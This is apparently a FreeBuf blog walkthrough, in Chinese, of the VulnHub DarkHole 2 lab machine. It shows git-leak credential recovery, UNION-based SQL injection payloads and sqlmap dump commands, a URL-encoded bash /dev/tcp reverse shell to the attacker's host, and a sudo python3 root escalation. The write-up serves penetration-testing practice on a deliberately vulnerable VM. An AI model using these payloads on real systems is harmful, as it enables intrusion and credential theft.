freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

DarkHole靶机渗透
hailong86 2022-07-27 20:18:36 124197
所属地 吉林省

1.靶机介绍

靶机下载地址:https://www.vulnhub.com/entry/darkhole-2,740/
靶机提示:
Description
Difficulty:Hard
This works better with VMware rather than VirtualBox
Hint: Don't waste your time For Brute-Force
靶机IP:10.8.0.102

2.端口发现

扫描靶机信息,只开放了22和80端口,但是80端口扫出来了.git,应该是.git泄露
图片.png

3..git泄露利用

利用githacker下载.git到本地
图片.png
查看config.php,发现关于mysql的信息
图片.png
查看login.php,可以看到登陆界面,对用户名和密码的处理逻辑
图片.png
git log看下git的历史日志,发现“我添加了带有默认凭据的 login.php 文件”
图片.png
切换到a4d900a8d85e8938d3601f3cef113ee293028e10看下
图片.png
再次查看login.php时,发现了用户名lush@admin.com和密码321。
图片.png

4.WEB登录

访问80端口,点击右上角login,进入登录页面
图片.png
成功登录页面
图片.png

5.SQL注入

没有什么可以利用的,但是看到了?id=1就想到了SQL注入,测试一下吧,页面有4列信息,确定列数为6。
?id=1' order by 8 --+ 页面空白,页面请求瞬间完成
?id=1' order by 6 --+ 页面正常,页面请求很慢,需要多等一会
图片.png
图片.png
构造union语句,确定哪些列数据可以显示,2、3、5、6列被显示在页面上,接下来将对应的数字换成SQL查询语句就可以获取数据库中的信息。
id=' union all select 1,2,3,4,5,6 --+
图片.png
查询数据库名,得到数据库名darkhole_2
id=' union all select 1,GROUP_CONCAT(schema_name),3,4,5,6 FROM information_schema.schemata --+
图片.png
查询表名,得到表ssh和users
?id=' union all select 1,GROUP_CONCAT(table_name),3,4,5,6 FROM information_schema.tables WHERE table_schema='darkhole_2' --+
图片.png
查询ssh表中的列名,得到列名id,user,pass
?id=' union all select 1,GROUP_CONCAT(column_name),3,4,5,6 FROM information_schema.columns WHERE table_name='ssh' --+
图片.png
查询列user和pass的数据,得到ssh的用户名jehad和密码fool,可以尝试登录下ssh
?id=' union all select 1,user,pass,4,5,6 FROM ssh--+
图片.png
这里也可以用sqlmap,但是需要先获取Cookie:PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq。
图片.png
查询当前数据库,存在time-based blind和UNION query,得到当前数据库darkhole_2。
sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' --current-db
图片.png
查询表,得到ssh和user表。sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' -D darkhole_2 --tables
图片.png
直接获取ssh表中的数据,得到user:jehad,pass:fool。
sqlmap -u http://10.8.0.102/dashboard.php?id=1 --cookie='PHPSESSID=qi7ntbrnqas6shqkbucnnmmoaq' -D darkhole_2 -T ssh --dump
图片.png

6.SSH登录

利用用户名jehad和密码fool成功登录ssh。
图片.png
查看一下当前目录的文件
图片.png
查看.bash_history,发现执行了很多命令,curl "http://127.0.0.1:9999/"访问本地9999端口,那么执行以下curl "http://127.0.0.1:9999/?cmd=id",发现返回是losy用户
图片.png

7.反弹shell

由于只能本地访问,那我们就可以使用SSH -L本地转发功能,这个功能可以在本地监听一个端口,但该端口的连接被转发到远程主机的特定端口。相当于把远程端口映射到本地,即“将远程端口放在本地”。如下例子将监听本地9999端口,任何访问9999的客户端,都相当于远程访问example.com 的80端口,但是流量是通过 remote.server 的,并且所有流量都被加密。ssh -L 0.0.0.0:9999:example.com:80 user@remote.server
还有一种变体:目标主机与代理主机可以是同一台主机,即将remote.server服务映射到本地:ssh -L 0.0.0.0:9999:127.0.0.1:6379 user@remote.server
由于只能本地访问,那我们就可以使用SSH -L本地转发功能,在本地监听一个端口,我们使用ssh jehad@10.8.0.100 -L 9999:127.0.0.1:9999将目标靶机的本地9999映射到本地9999端口。
图片.png
既然cmd可以传递参数,那就可以尝试构造bash -c 'bash -i >& /dev/tcp/10.8.0.100/1234 0>&1'反弹losy用户的shell,进行URL加密得到%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27
图片.png
本机开启监听,靶机执行curl "http://127.0.0.1:9999/?cmd=%62%61%73%68%20%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%38%2e%30%2e%31%30%30%2f%31%32%33%34%20%30%3e%26%31%27",成功反弹losy用户的shell。
图片.png
图片.png
进入用户目录,查看user.txt,得到flag:DarkHole{'This_is_the_life_man_better_than_a_cruise'}
图片.png

8.权限获得

查看.bash_history时发现了losy修改的密码gang。
图片.png
python3 -c 'import pty;pty.spawn("/bin/bash")'先升级一下shell,sudo -l输入密码gang,发现可以以root身份执行/usr/bin/python3。
图片.png
查找到python的提权方式
图片.png
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'提权,得到root,成功拿到flag:DarkHole{'Legend'}。
图片.png

# 渗透测试 # 网络安全 # web安全 # 系统安全 # 漏洞分析
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 hailong86 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
hailong86 LV.5
这家伙太懒了,还未填写个人描述!
  • 25 文章数
  • 11 关注者
Vikings靶机渗透
2023-03-03
HA Rudra靶机渗透
2022-12-18
EVM靶机通关
2022-12-05
文章目录